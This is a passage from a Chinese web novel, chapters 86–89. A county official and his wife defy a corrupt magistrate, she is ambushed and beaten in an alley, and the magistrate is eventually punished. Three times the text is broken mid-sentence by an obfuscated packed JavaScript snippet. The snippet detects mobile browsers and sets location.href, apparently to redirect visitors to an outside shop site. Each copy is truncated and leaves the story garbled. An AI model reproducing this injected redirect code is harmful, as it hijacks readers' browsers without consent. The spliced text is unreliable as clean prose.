徐寂宁则牵住南有音的手,分开挤在中央的人离开正堂,嘴里还冷冷说道:“你们这些蠹虫怎么好意思站在这里,我还心疼我家夫人受累呢。” 南有音目瞪口呆,就这样没什么知觉地随着徐寂宁回了后宅, 86. 暗巷 直到回到内宅,彻底见不到卢知县那乌央乌央的一群,不用唇枪舌炮的,徐寂宁瞬间觉得一下子清明了不少,他平复了心情,却发现南有音神色怪怪的。 “有音?”他小心松开了南有音的手,“你怎么了?” “我,我没怎么……”南有音小心打量徐寂宁。 “有音?”徐寂宁很是困惑,南有音瞧得时间久了一点,叫他又有点脸红。 南有音仍目不转睛的盯着他,过了好一会儿,才放过他:“原来你……你还会生气啊,说实话有点吓到我了。” 徐寂宁愣了一下:“人都有七情六欲,我当然也有生气的时候,刚刚他们那样说你,我确实恼火。” 他见南有音仍旧木木地盯着他,无端生出几分委屈:“有音,你害怕我?” “没有没有。”南有音连说两遍,坐在床边捣鼓起火炉。 起初她确实小小地吓了一跳,但看到徐寂宁在她面前脸红又局促的熟悉模样,确实也生不起什么害怕之类情绪了,只余下一些惊讶带来的余音。 “我就是太震惊了,”南有音重新点燃炭火后解释道,“我没见过你那个样子,你平日在朝堂,也是那样强势吗?我之前还好奇呢,你总爱脸红,人又文弱,在衙署岂不是总受人欺负……” “在衙署和在你面前肯定不一样啊。”徐寂宁想到南有音担心他在衙署受欺负,推测自己在她心里大概是一个柔弱无助的形象,脸登时红了,“我又不是在谁面前走这样,我只是拿你没什么办法……” “有音,”他抬起眼,想到她刚刚确实像是被吓到了,便认真说道,“你放心,我不会冲你发火的,你别害怕……” “我才不怕你呢,”南有音笑了一下,又实话实说道,“好吧,刚才确实吓了一跳,不过想想还好,原来你还挺能说会道的,至少以后不用总觉得你在外边会被人欺负了。” “没人能欺负我。”徐寂宁试图扭转在南有音心底绵软的形象,又说道,“我也不会让别人欺负你。” 南有音玩笑道:“不然别人欺负我,那就只能你来欺负我喽?” 不出她所料,徐寂宁脸又红了,匆忙说道:“我也不会欺负你。” “那万一我想欺负你呢?”她笑嘻嘻问道。 徐寂宁道:“那只好随便你了。” “你真的不会冲我发火吗?”南有音忍不住又起了捉弄的心思,“那万一有一天,我做了很过分的事,比如,嗯,我想想,比如说我扔下你跟别人跑了?” 这个问题让徐寂宁心脏空了片刻,在南有音的催促声中,他非常局促不安地回答:“那,那我也不能怎么办——” 他飞快地瞟了一眼南有音,又继续垂着眼帘说道:“你跟别人走了,我,我顶多躲起来生闷气……” 他有点不确定道:“……我和你毕竟只是朋友。” “哈?朋友?”南有音仿佛吃了一口平州城难以下咽的点心,心口有点堵,立刻忿忿指出,“你刚刚在正堂的时候还说我是你夫人来着!” 徐寂宁底气不是很足地说道:“我们之前商量过的,在外就是夫妻身份……” “之前确实是这样说的,”南有音点点头,又认真问道,“那你现在还觉得我们是朋友?” “不然呢?”徐寂宁小心翼翼地将这个问题重新抛给南有音,又小心地观察她的神色。 南有音似乎只惊奇了刹那,然后就很无所谓地笑了:“好吧。” 她俯身往脚下的火炉里添了点炭,嘴里嘀嘀咕咕的,也不知道说给谁听:“真怪,哪有到了这份上了,还朋友呢,到底是惊人的迟钝呢,还是就是一个纯粹的傻子呢?” 徐寂宁听得有些不安,问道:“有音,你觉得我们不是朋友吗?” 南有音用炉铲狠戳了一下炭火,飞出一串火星,没好气地地回答:“我不知道,你说是什么就是什么!” 徐寂宁不敢说话了,这个可笑的问题仍旧横亘在他们之间。 连着两天南有音不太开心,总抓住机会就拿出“朋友”二字嘲弄一番,比如在夜晚徐寂宁打算睡下时,南有音就会幽幽道:“朋友就该睡一个被窝。” 徐寂宁进退维谷,不知该不该上床,南有音就又没好气道:“上来,作为朋友,我是不忍心看你冻死。” 如此三番五次,徐寂宁心里上上下下,再三询问南有音“我们是朋友吗”或者“我们不是朋友吗”,南有音每次的回答都很一致——“你觉得是什么就是什么”。 “你觉得呢?”徐寂宁将这个问题又抛给了南有音。 “我不告诉你!”南有音颇为气恼,“这么简单的问题别来问我。” 徐寂宁纠结了很久,试探道:“是?” 见南有音变了脸色,他又立刻道:“不是?” “别问我!应该是你觉得是不是!”南有音火了,气冲冲地走了。 街上逢集,她收拾了一下,挎着篮子赶集去了,心里恼火,也就没叫上徐寂宁一块。 她觉得她与他日日这样相处,再迟钝的人也应该有所察觉了吧,她不晓得徐寂宁一个劲儿的问她有什么意思,这么显而易见的答案还需要她说吗?况且想到过去,不论是成亲亦或是其他,总是她更为主动,这次总得给徐寂宁留个机会吧。 徐寂宁看日子今日赶集,等了半天却发现南有音自己走了,心里有些失落,又琢磨起那个叫南有音火冒三丈的朋友问题,他自然是发现两人关系不同往日了,但南有音不点明,他也不好说破,过去是他先推开的她,他心底有愧,这次更愿意先由她所想,由她来定义和主导两人的关系,她不开口,他自是不敢妄念。 月陵是个风景不错的县,四面是连绵起伏的小山,冬日里总有云雾缭绕山顶,南有音怒气冲冲地在街上走了一会儿,心头的火也渐渐消散在美景之中与热闹的人群之中。 她非常娴熟地滑入集市,操着一口乡音与集市上的商贩讨价还价,虽然她现在不缺银两,最终大多情况也都是原价买下,但总觉得不砍砍价意思一下就少了点意思一样。 她在买鸡的摊子面前犹豫了很久。 她觉得最近嘴里实在太淡,想吃点好的,但一个问题是她不会处理荤菜,杀鸡她会,但她不知道怎么做,她对处理肉类尤为不擅长,毕竟她的厨艺基本都是儿时孤身一人时磨炼的,煮点萝卜白菜是信手拈来,至于各种肉类,小时候吃不到,自然也就不知道如何烹饪,后来能吃上肉了,基本也用不着她进厨房了。 此前她也在集市上割过几块肉,但与徐寂宁在厨房一通操作后总是不尽人意,最终往往暴殄天物。 南有音看着笼子里五彩斑斓的大公鸡,疑心自己花大价钱买回去,最后又是变成一些难以下咽的东西。 买鸡摊子的大娘无比热情地向她推销,得知了她的顾虑之后倾囊相授的数道菜谱,怎么剁,如何去腥提鲜说得清清楚楚,说得南有音渐渐觉得烹饪如探囊取物,便也慷慨解囊,挑了一只最肥的。 她拎着一只鸡,又在集上找干菇,刚刚那位大娘将土鸡蘑菇汤描述的太鲜了,叫她无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529606|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比想尝,然而转了一圈,也打听了一圈,今天买菌子的那个老头好像没来。 当她决定放弃时,却忽然有个相熟的小贩跟她说他知道那里有菌子。这个小贩她认识,之前徐寂宁审理案子的时候她见过,小贩的媳妇被冤枉入狱半年多,徐寂宁上任了才放出去的。 她听到有菌子,心里一喜,便跟着小贩走,却渐渐越走越偏,到了人少的巷子里去了。 她表示奇怪,小贩就找些理由搪塞,可能是太想吃蘑菇鸡汤加上跟小贩认识,她就这样被搪塞过去,走到了一个没人的死胡同里。 “这哪有人啊?”她扭头问小贩。 小贩却腿打哆嗦,扭头就跑了。 她瞬间意识到不对,扔下手里的东西就要跑,却被几个人挡住了。来的人有三个,蒙着脸看不清,只听到不怀好意的笑声。 “小娘子怎么跑到这儿来了?”三人步步紧逼,将她彻底逼到了巷子底下。 她怕极了,就放声大喊。 “啪”的一声,耳边一声脆响,她被一下子扇倒在地,声音全吞进嗓子里了,脸颊嘴角火辣辣的。 “闭嘴!”领头的那个揪着她领子说。 她当然不会闭嘴,继续喊叫,期望有人来救她,如此以来,嘴上又挨了好几下,她抓住时机,偏巧趁扇她嘴巴时张嘴咬住了一人的手指,不论剩下的人往她身上怎么招呼她都不松嘴。 渐渐她尝到了嘴里的血腥味,也听手指骨头的脆响,更到了别人的哀嚎,她努力想着如何脱身,肚子却被狠狠一踹,猛地喘不上气,无意间松开了嘴。 她一松嘴,马上就有拳脚招呼过来,她被踹地在地上翻了个个儿,摸起地上刚刚被她扔下的公鸡,用力往那几人身上扔,效果杯水车薪,还惹来一阵嘲笑。 “你们是什么人,要做什么?”南有音惊恐地看着为首的蒙面人松了松腰间系带。 “听说小娘子要当知县呐,”蒙面人嘻嘻哈哈朝她靠近,“那我岂不是要骑在知县身上了?” “你找卢知县去!别找我!”南有音要跑,却被其余两人死死按住,只好大喊大叫,这次都怕她咬人,没人敢掌嘴了。 只她一喊,就连拳带脚,她终于受不住不吭声了,委屈地窝在地上哭了起来,蒙面人便也满意了,一步一步靠拢。她自然不会屈服,挥舞四肢,却始终敌不过他们压上来,三人围成一栋人墙,影子黑压压一片,笼住了她。 南有音彻底绝望时,人墙却忽然透出光来,只听得一阵打斗声,三个蒙面人转瞬被摔在地上。 “有音!”徐寂宁冲过来抱住了缩在角落的姑娘。 巷子里来了不少人,都是南有音熟悉的面孔,大多是徐寂宁处理冤假错案时帮过的百姓,这些人三下五除二,擒住了三个蒙面人,又问徐寂宁如何处置。 “押进大牢!”徐寂宁声音从未这样没有温度过。 南有音小小寒战了一下,徐寂宁搂住她,轻声在她耳边说:“别怕。” 事后南有音才知道原来最初引她到小巷的那个小贩是被三个蒙面人拿家中小孩威胁了,引她进了死胡同后便后悔了,急忙去县衙通风报信,集市上一些受过徐寂宁恩惠的人听说了,便跟着赶来,救下了她。 一同赶来的人都押着三个蒙面人往县衙大牢去了,小巷里只剩徐寂宁跟南有音了。 “有音……”徐寂宁轻轻拢起南有音散了的发髻。 终于没人看着了,南有音放肆地哭了一场,眼泪鼻涕抹了徐寂宁一袖子:“徐寂宁,他们欺负我!” 87. 红尘 南有音在徐寂宁怀里哭了一阵,徐寂宁拍着她的后背安抚她,她也自己宽慰自己,说服自己其实还算幸运,至少没演变成先奸后杀曝尸荒野的结局,这样想想后,她觉得好些了,便闷声道:“我们回去吧。” “有音……”徐寂宁一脸地忧虑。 “我没事了。”南有音拍了拍身上的灰,站了起来。 “我背你吧。”徐寂宁扶住她说道。 南有音没拒绝,趴在徐寂宁背上,又指挥道:“那只鸡你也拿上,还有地上的菜。” 最终徐寂宁背着南有音,拎着那只半死不活的鸡和一兜子萝卜回去了。 直到到了家里,南有音看着铜镜里的自己,才察觉自己又多么狼狈——乱草一般的头发上甚至还插着两根公鸡的尾羽,灰头土脸,面颊肿了,嘴角也破了,胳膊腿上淤青满满。 “多少比咱们在岭南第一次掉下山崖的时候强点。”南有音注视着镜子里自己的尊容,还算乐观的点评道。 但徐寂宁显然没有那那份罕见的好心态,他伸手摩挲着南有音嘴角的血迹,似是想要擦去。 “很疼吗?”他轻声问道。 “还好吧,不咧嘴就没事。”南有音不太在意地说道,“反正过两天就好了,肯定没有你挨五十大板严重。” 徐寂宁摇摇头,又一次道歉:“有音,对不起……” “又不是你干的,”南有音无所谓道,她一向很能看开,“应该幸庆还好你带着人及时找到我。” 徐寂宁只怔怔注视着她,两眼里是些说不出的意味,他忽然张开双臂,紧紧抱住了南有音,又一次轻声说道:“对不起……” 南有音让他抱了自己一会儿,然后闷闷道:“你快放开我吧,我在地上滚了好几滚,身上好多灰呢。” “我不在意。”徐寂宁仍然环抱着她。 南有音静静体会了一番怀抱中的温暖,又在余光中看到镜子里灰头土脸的自己,还是把徐寂宁推开了,说道:“你去烧热水吧,我要洗洗头发上的土,不然都没法上床躺下。” 最终南有音还是决定不光洗头,顺便也洗澡了,毕竟水都烧好了,冬天洗澡总是一件难事,没了徐府大大小小的丫鬟,只能是徐寂宁一趟一趟的烧水兑水。 起初徐寂宁提了热水壶,只放在南有音沐浴的屋门口,南有音想用还得自己从浴桶里出来提,她不想从暖融融的水里出来,只好指挥徐寂宁了。 “有音……”徐寂宁在门口犹犹豫豫,望着水雾中沐浴的南有音,脸又红了,“我能进去吗?” “快点吧,”南有音催促道,“水都要凉了。” 徐寂宁拘谨地提着壶进去,拘谨地往浴桶里添水,老老实实的,目不斜视,而后又拘谨地走开,拘谨到腿都好像不会打弯了。 在第三次添水时,南有音忍不住说:“徐寂宁,你也没必要这么紧张吧,彼此什么样子不早都看过了。” 闻言徐寂宁眼睫微微颤动了一下,小心翼翼地抬起眼睛,在氲散的水汽中,那双眸子显得异常清透。 他注视着南有音的脸,南有音则带着一点邀请的意味眨了眨眼,徐寂宁脸更红了,目光犹疑不定地向下移动,却在中途忽然止住了:“有音,你……” “你在我身边,总是受苦。”他叹了口气,转身走了。 南有音觉得莫名其妙,但低头看到自己胳膊上青紫交织的伤痕,方才明白徐寂宁为何看上去那样伤心。 她沐浴完,徐寂宁正在屋里等着她,替她拧干头发,又一点一点梳开。 “你光在这围着我转,怎么不去忙政事啦?”南有音半眯着眼享受徐丫鬟的侍奉。 “你,唉,你都这样了,我怎么再去处理那些事。” “其实我也没怎样,现在挺好的。”南有音懒散道。 徐寂宁叹了口气,拉过南有音的胳膊,撸开袖子:“这怎么能叫没事。” “反正不疼了。”南有音又把袖子拉下来。 “还有脸上。” “唔……”南有音也不知道那几个人手劲有多大,总之现在她两颊还肿着,感觉热辣辣的疼。 徐寂宁替她将头发挽了一个松松垮垮的发髻,而后取出刚去药铺买的药膏,俯下身,认真涂抹,药膏涂在脸上凉飕飕的,感觉还有镇痛的效果,一会儿脸就舒服多了。 涂完药膏,南有音一照镜子,差点吓了一跳,药膏竟然有颜色,她两颊通红,活像戏台上的丑角,实在忍不住笑起来了。 她自己笑还不够,又问徐寂宁:“你怎么不笑啊?” 徐寂您很是无奈:“你怎么还能笑得出来啊?” “因为我哭完了啊,我不搂着你哭了好一阵吗?”南有音见徐寂宁神色不善,又轻快道,“你要是不痛快,也可以抱着我哭一场啦。” 徐寂宁真的轻轻抱住了她,但他没哭,只是眸色沉了沉:“有音,我会叫他们付出代价。” “你打算怎么做?”南有音有些好奇。 徐寂宁沉吟片刻,心中闪过一些晦暗的手段,但最终还是说道:“国有国法,依律处置。” 南有音在他怀里又说道:“肯定是有人派他们去的。” “我知道,”徐寂宁安抚般拍了拍南有音后背,“我会审出来的。” 南有音说道:“这还用审了,肯定是卢知县啊。” 前几日徐寂宁在正堂将卢知县一干人说得哑口无言后,继续推进手头划分田产的事,依照侵占田产的多少,抓捕了几个人,无一不是卢知县的亲戚。 “嗯,要审的,”徐寂宁淡淡应了一声,“用些刑罚,叫他们吃些苦头,长长记性。” “审完之后有办法处置卢知县吗?”南有音愤愤问道。 徐寂宁说他只县丞,官职比知县还低,只能上呈州府,有上级来处置:“此前我已经写过文书上递过平州府了。” “可是卢知县跟知府好像关系很好啊。” “所以我也给平州府之上的辽东道长官写信了。” “你用的什么身份给辽东道长官写的信?” “什么?” “我的意思是你是以尚书之子的身份写的信呢,还是以月陵县县丞的身份写的信。” “县丞的身份。”徐寂宁老老实实道。 南有音有点怀疑:“你说辽东道的长官会搭理你这个小县丞吗?” 徐寂宁摇摇头,他也不知道,但正规的流程就是这样,层层上报,最终便是上访天子。 “好吧,那就等等看啦。”南有音在屋里火炉跟前,等着头发彻底干了,忽然听到公鸡打鸣,才想起来自己赶集买回来的鸡和菜,她叫徐寂宁出去看了一眼,徐寂宁说鸡似乎恢复活力了,在院子里乱扑腾,擅自啄食了她新买的白菜和萝卜,他还捡了几片被鸡啄了的烂菜叶给她看。 “你愿意吃这种菜叶吗?”南有音忽然询问。 徐寂宁明显很吃惊,显然无法将那几根烂菜叶跟吃联系起来。 南有音说:“我小时候就会上集市上等人收摊,然后捡些烂菜叶吃。” 徐寂宁似乎纠结了一番,才说道:“我可以陪你吃……” 南有音眼睛非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一出县衙门口,那些认识她的婶婶婆婆姐姐妹妹的就围了上来,连声宽慰她别把今天的事往心里去,年长的婆婆还把徐寂宁叫到跟前,告诫他别因为今日的事就心里有了芥蒂,是其他男的欺负南有音,南有音没错,别觉得南有音被玷污了之类的。 徐寂宁想分辨几句他压根没那些想法,但老婆婆话又密有多,容不得他插嘴,只好哭笑不得地应着。 说完了徐寂宁,老婆婆又来劝南有音,南有音只好说徐寂宁待她挺好的:“他安慰我,还给我买药膏呢。” 老婆婆不以为然:“你还年轻,别太相信男人,他们嘴上说着一套,心里想着一套,手上又做着另一套。” “要是徐大人对你敢有一点嫌弃的意思,”老婆婆瞥了徐寂宁一眼,拉着南有音的手说道,“你就来找婆婆我,我们给你主持公道。” 南有音觉得好玩,便点头应了,老婆婆又说道:“你人好,模样也俊,离开他肯定还能找到更好的。” 说着说着,人群当真给她介绍新婆家了。 南有音倍感无奈,看徐寂宁在一边手足无措,又觉得很好玩。 老婆婆又絮絮叨叨了好一阵子才放过了南有音和徐寂宁,南有音也拼命解释了好久才让小姐妹们相信她是真的没那么伤心,而不是怕别人担心,故意假装没事。 她与徐寂宁只是在县衙门口略站了一会儿,就又有人送东西,南有音百般推脱,毕竟她真的没啥事了,用不着大家探望,但无论她跟徐寂宁如何推辞,最终屋里依旧堆得满满当当,几乎没法下脚。 她觉得实在是受之有愧,县衙的老门吏宽慰她说,只是大家想找个由头感激她和徐寂宁上任后做得那些事罢了。 88. 泥塘 徐寂宁将抓住的那几个蒙面人审了,无一例外全是卢知县的亲信,他动了几次刑罚,三人便将卢知县交代的一清二楚。 他庭审还没结束,卢知县却先主动来找他了。 卢知县一进正堂,受审的三人便哭爹喊娘围了上去,求他为他们做主,卢知县不理会他们,只斜眼瞟着徐寂宁。 “卢大人来的正好,”徐寂宁冷冷道,“这三人刚刚说了,昨日欺侮我夫人一事背后另有主谋,卢大人不放猜猜是谁?” “哦,是谁?”卢知县笑道,“你家小娘子长得漂亮,我见犹怜,定要将背后之人抓出来责罚,断不能放过。” “说来奇怪,”徐寂宁盯着卢知县道,“这三人供出的幕后指使便是你,卢大人说,我该如何责罚?” “徐大人说笑了,这三人我一个都不认识,分明是有人冒着我的名字做事罢了。”卢知县仍是一副云淡风轻的样子,他垂眼扫了跪在地上的三人,轻蔑一笑,“想必是徐大人年轻,受人蒙蔽才会污蔑于我,这次就这么算了,我便也不追究你的过失了。” 卢知县一番话绕来绕去,将自己摘的干干净净,反倒给徐寂宁扣上一顶污蔑人的帽子。 徐寂宁目光愈发冷下来:“卢大人说不认识三人,怎么您一进正堂,这三人就求你做主?” “我在月陵为官数载,百姓知我仁厚,自然向我求情,”卢知县围着地上的三人转了一圈,又慢悠悠道,“看起来徐大人没少用刑,月陵向来平和,极少见刑罚,向来是骤然用刑吓到了众人,使得他们三个不得不供出点徐大人想听的来。” “唉,”他摇摇头,故作语重心长状,“我劝徐大人多些仁厚之心。” 听得自己被扣了屈打成招心狠手辣的罪名,徐寂宁冷笑一下,也不虚与委蛇了,便直接说道:“这三人是谁吩咐的,卢大人与我分明都心知肚明。” “是吗?我可没有徐大人通天的本事,不知道你家娘子招惹了谁,大概是徐大人不得人心,百姓便迁怒于她,”卢知县洋腔怪调地笑着,看看左右,摊手以示无奈,“这种事,我有什么办法?我还是劝徐大人乖乖听话,别管那些不该管的。” “那敢问卢大人,什么是不该管的?”徐寂宁眯起眼睛,语气尖锐了起来,“不该管你的家眷亲属侵占田产?还是不该管你授意手下人欺侮他人?” 卢知县脸上仍带着笑,眼里却闪出阴狠的光泽:“依我说,这些事你都不该管,你继续胡闹下去,谁知道还会发生什么。” “我既然在月陵任职,理应恪尽职守,不管是田产亦或是其他,我都该尽责处置,”徐寂宁毫不畏惧地坦然答道,“这些事本就该是由我来管,自然不会袖手旁观。” “好一个恪尽职守!”卢知县从怀中掏出一页书信,上前猛地拍在徐寂宁面前的桌上,鼻子下方的两撇胡须也因震怒而颤动,“我可听说了,你给平州知府递信呢,可惜呀,知府大人似乎不听你的。” 徐寂宁打开那张信纸,却是平州知府的手谕,指责徐寂宁以下犯上,勒令他放人,叫他明白何为尊卑秩序之前不得就职。 “京城是京城,月陵是月陵,天下的事由皇帝做主,月陵的事,自然由我做主。”卢知县冷冷一笑,“你也看到了,知府大人站在我这边的,你还是老实点吧,我也宽宏大量,便饶了你家小娘子,否则……” 他森森然一笑,下令放了堂前就审的三人,一甩袖子走了。 徐寂宁回到内宅时南有音正在奋笔疾书,她今天忽然灵感爆发,想出了一部新话本子,内容是大家喜闻乐见的惩凶除恶,讲述了知府家的小少爷徐耳因救命之恩爱上了女侠南声,南声对对其无意,但默许了他协助她查案,两人里外配合惩罚了作威作福的县太爷,受到百姓爱戴,从而获得新的线索,两人顺藤摸瓜,揭开层层迷雾,却发现原来最大的反派就是小少爷徐耳的父亲徐知府,徐耳惊讶之余忍痛大义灭亲,南声由此发现徐耳并非她一直以为的纨绔,两人由此拉近距离,最终双宿双飞。 南有音文思泉涌,提笔写得飞快,徐寂宁便在一边静静地磨墨,注视着南有音全神贯注的脸庞,偶尔发现自己看得时间长了,脸有点热,便挪开视线去看南有音笔下的字,被她龙飞凤舞的字迹刺得微微皱眉。 “你怎么这么快就回来了?我还以为你又要忙很久呢。”南有音写完最后几个字,撂下笔长舒一口气,“你审那三个人审出什么了吗?” 徐寂宁摇摇头,神色怃然,将庭堂上的事一一说给了南有音。 “卢知县竟然还威胁你我?”南有音颇为气愤,“平州知府怎是这样的人?有他撑腰,便没人管得了卢知县了,整个月陵的百姓受了压榨不也都无处伸冤了!” 她又问道:“你此前给辽东道长官的信呢?有什么消息了吗?” 徐寂宁摇头。 南有音更气愤了:“县丞虽是小官职,但也比平头老百姓多了一层身份,你这样一层一层上递都没有回音,更何况其余百姓了,难道还真要告到京城,请求面圣?且不说皇帝会不会管这些琐事,地方长官会不会阻拦,单说路费,月陵到京城一趟,寻常百姓怎么可能负担的起?” 屋外传来叫卖声,打断了义愤填膺的南有音,她侧耳听了一下,说道:“是卖炭的,之前买的炭用没了,我叫他今天再送些来。” 说罢她起身找了银两,又到处找剪刀。 “你找剪刀做什么?”徐寂宁奇怪道。 “唔,”南有音撇撇嘴,“万一又遇上昨天那种事,我带着个锋利的器具,也好防身不是。” 徐寂宁看着南有音在柜子上找到了那把玲珑剪刀,小心藏到怀里,心中一阵酸楚。 南有音却笑着问他:“说起来,我要是用剪刀不小心捅死了歹徒,你会判我什么罪?” 徐寂宁想了一下,没按本朝律法说,而是轻声说:“无罪,我会包庇你。” 南有音对这个回答不置可否,推开门出去了,见徐寂宁没跟上,又折返回来:“我觉得你最好跟紧我。” 徐寂宁以为南有音是听了卢知县的威胁害怕,刚想宽慰她两句,却听到南有音对他说:“我会保护好你的。” 他一时哑然。 “怎么?你露出这种神情做什么,”南有音皱皱眉道,“你该不会觉得是你保护我吧?” “别说笑话了,”南有音拍拍徐寂宁的背示意他快点走,“你这样手无缚鸡之力的可怜虫,当然要由我上墙揭瓦不在话下的南大侠保护了。” 徐寂宁无话可说了。 昨日傍晚,南有音跟他在院子角落做了一个鸡栏,暂且先叫三只鸡多活几天,鸡栏做好之后就是将鸡逮进去,徐寂宁与那只五彩斑斓的大公鸡斗智斗勇,反被公鸡用喙拧去了手上一块皮,最终还是南有音拍马赶来,制服了公鸡,救他于水火之中,只是经此一役,他也彻底坐实了手无缚鸡之力的名号。 南有音与卖炭的老人交涉好了价格,两筐炭抬进屋内,徐寂宁与老人闲聊几句,问起年龄,老人过了年竟然就满七十了,问起老人年纪这么大,为何还如此操劳,老人长叹一声,唠起了家常,无非是家添了人口等着吃饭,自己家的地被占了去,没了依仗,只好出来做些苦差事糊口。 他说完,又诚心担忧道:“徐大人啊,我也听说了您最近在查田产的事,您可要小心呐,千万别跟卢大人作对。前两年我家地被占了,我大儿子气血方刚,非要去平州府理论,最后空跑一趟不说,回来后还被卢大人寻个由头打断了腿,如今还瘸着。” “徐大人,您可千万小心,月陵百姓都指望着您呢。”老人再三叮嘱了一番,才挑着担子走了。 送走了卖炭的老人,徐寂宁跟着南有音回到屋里,脑海中又浮现出南有音义愤填膺的话来,他也发现了,寻常百姓如何能与官署抗衡呢,卢知县一手遮天,寻常人能有什么办法,逆来顺受罢了。 天下是皇帝的天下,天下万民也是皇帝的子民,但天高皇帝远,皇帝管不了那么多事;天下也是百姓的天下,水能载舟亦能覆舟,可一滴又一滴的水珠孱弱无力,被命运的洪流裹挟,身不由己,饱尝苦难。 午饭后徐寂宁想着卖炭老人的事,要去翻一翻卷宗,查看一下老人田产被谁所占,却发现他办公的正堂门上落了一把黄铜大锁。 老门吏告诉他说是卢知县派人挂的锁,卢知县说是知府的手谕,徐寂宁什么时候明白尊卑有序, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐寂宁将信封起来,觉得薄薄两片纸沉重又锐利,恍然间明白父亲与大哥总是说他太过天真了,若是换成他们处理这些事,大概一开始就会摆明身份找关系,必然不会拖到自己这种无可奈何的境地吧。 他渐渐觉得幼时读书时那些忠君为民的理想愈发遥远,过去他觉得很容易就能实现,后来他渐渐困惑,现在,他越发理解南老爷南晨颂所说的那句,朝堂是一滩污泥,踏入的人没有一个能干净。 徐寂宁发出的信在两天后得到了回音,辽东道长官果然理会了,并派专人前来调查。 彼时非常戏剧性的是卢知县刚刚得知了徐寂宁迟迟没从内宅搬走,带着一帮人前来兴师问罪,他们前脚刚趾高气扬地进入县衙,后脚辽东道的人紧接着便到了,不出半柱香的功夫,卢知县一干人垂头丧气,不复来时气概。 几日后卢知县一干人皆被处置,连带着平州知府也贬谪他地,卢知县处刑当日,月陵县内众人奔走相告,彻夜点灯庆祝。 月陵没有了知县,徐寂宁自然而然的升职了,其余空缺的职位也有人补上了,西厅的牌桌被拖去砸了,南有音还捡了一角木头烧火。几日之间,整个月陵仿佛焕然一新,百姓欢喜,送来的东西又堆满了县衙门口。 徐寂宁指挥着将百姓送来的东西分给了他的新同僚,看着焕然一新的官衙,心头飘起若有若无的悒怏。 南有音敏锐的捕捉到了这一点,问他为什么不开心。 “我只是想卢知县靠着打点平州知府压人一头,我没别的办法,也只能靠官阶更高的人来压他,”徐寂宁闷闷一笑,似乎在自嘲,“礼部尚书儿子的头衔确实挺好用。” “有音,我过去还同你争执为官做宰跟百姓一样昼夜操劳一样的辛苦,现在想来,”他望着南有音诚恳说道,“实在觉得惭愧。果真同你说的一样,褪去各种身份地位,寻常人举步维艰,若我爹不是当朝礼部尚书,我确实……什么也不是。” 他认真注视着南有音,为曾经惹她生气的言论道歉。 “原来你还记得啊,”南有音笑道,“我当时确实差点气死了。” “不对,准确的说是很伤心。”她又纠正道,她想起在去岭南的路上,在永州城的时刻,那时她察觉徐寂宁与她曾经想象中的样子截然不同。 “有音,对不起。”徐寂宁又一次道歉,他也想起了永州城的那一夜,从那夜之后,她再也不称呼他“宁哥哥”了。 “我早就看出你变了,现在也不生气也不伤心了。”南有音轻快道,她对徐寂宁笑了一下,恍然间又从他秀气诚挚的脸上看到了初见时的影子。 89. 愿望 卢知县一干人消失后,月陵县渐渐恢复了正常,徐寂宁与手下天天忙着处理卢知县留下的烂摊子,重新丈量土地,迫使那些得了卢知县“恩惠”的人将土地吐出来,有时还会亲自去田间督查,近乎一个月后,一切终于尘埃落定。 徐寂宁不再忙得脚不点地,便闲下来誊抄南有音新写得话本子,顺便琢磨离开京城时,皇帝对他说的话。 皇帝说要他帮他抓一只小老鼠。 他自然明白皇帝的意思是找出国之硕鼠,但他在月陵待得时间越久,却越困惑。 月陵只是一个小县,地处北地边界,偏僻封闭,土地贫瘠,人口稀少,几乎可以算是一个毫无油水的地方,这种地方,再精明的老鼠也不可能搜刮出多少东西,甚至此前作威作福的卢知县,家里也多少东西。 徐寂宁搜查了卢知县一干人,所获甚微,这些东西摆在天子眼前不过一粒尘埃,显然皇帝口中的小老鼠再小也不至于这样小。 虽然如此,他还是给皇上汇报了一下,他以为皇帝不会理会,没想到皇帝竟回复了,内容简单,开头无非是嘉勉几句,中间则提醒他不要忘记离京时找出小老鼠的任务,切不可行包庇之事,末尾则说事成之后会调他回京,可得重用。 徐寂宁抓住皇帝的批复百思不得其解,他不懂皇帝为什么会觉得他会包庇贪官污吏。 “说不定那只老鼠是我,我昨天把花生豆子都煮了,还觉得挺好吃,老鼠就爱吃这些。”南有音躺在床上百般聊赖地胡说八道,“皇上提醒你别包庇我。” 徐寂宁笑着收起皇帝的信,说道:“你要是老鼠,那我也肯定是老鼠。” “皇帝真没意思,老让你猜谜语,岭南的事也是,现在月陵也是。”南有音一个翻身,从床上起来,说出了自己的结论,“感觉他不像个好人。” “只是苦了我们两只小老鼠了。”南有音扳着手指算了好几次日子,就算现在他们即刻从月陵动身,也不可能赶在新年前回到京城了,今年过年注定见不到父母了。 想到父母,南有音又说道:“之后我们抽空去一趟霞岭,我爹就是那儿的,我想去看看,然后写信告诉爹那里变成什么样子了,我爹也好多年没回来了。” 她此前写的信里提到了月陵,南夫人是月陵县城的人,回信问了她县内的变化,又问她过去那些亲戚还在不在,为此南有音拉着徐寂宁拜访了几户人家,替母亲传达思念。 她也给玉振写了信,很久才收到回信,玉振说他在军中一切都好,他也是月陵县城内的,不过他对月陵倒没有任何留恋,只是在信里痛骂了徐寂宁一顿,痛恨他带着姐姐又回北地那个寒风呼啸的地方。 南玉振词句刻薄,徐寂宁看完后额头冒了一层汗,幸庆这只是一封信,而非南玉振当面怒斥。 